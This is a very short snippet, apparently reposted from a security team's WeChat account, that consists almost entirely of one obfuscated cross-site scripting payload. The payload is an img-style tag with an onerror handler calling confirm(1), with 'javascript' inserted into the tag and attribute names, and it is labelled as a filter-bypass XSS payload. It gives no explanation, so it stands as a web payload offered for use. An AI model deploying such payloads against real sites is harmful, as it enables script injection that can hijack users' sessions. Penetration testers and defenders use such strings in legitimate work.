<ijavascriptmg+src+ojavascriptnerror=confirm(1)> 本文始发于微信公众号（Khan安全团队）：bypass xss payload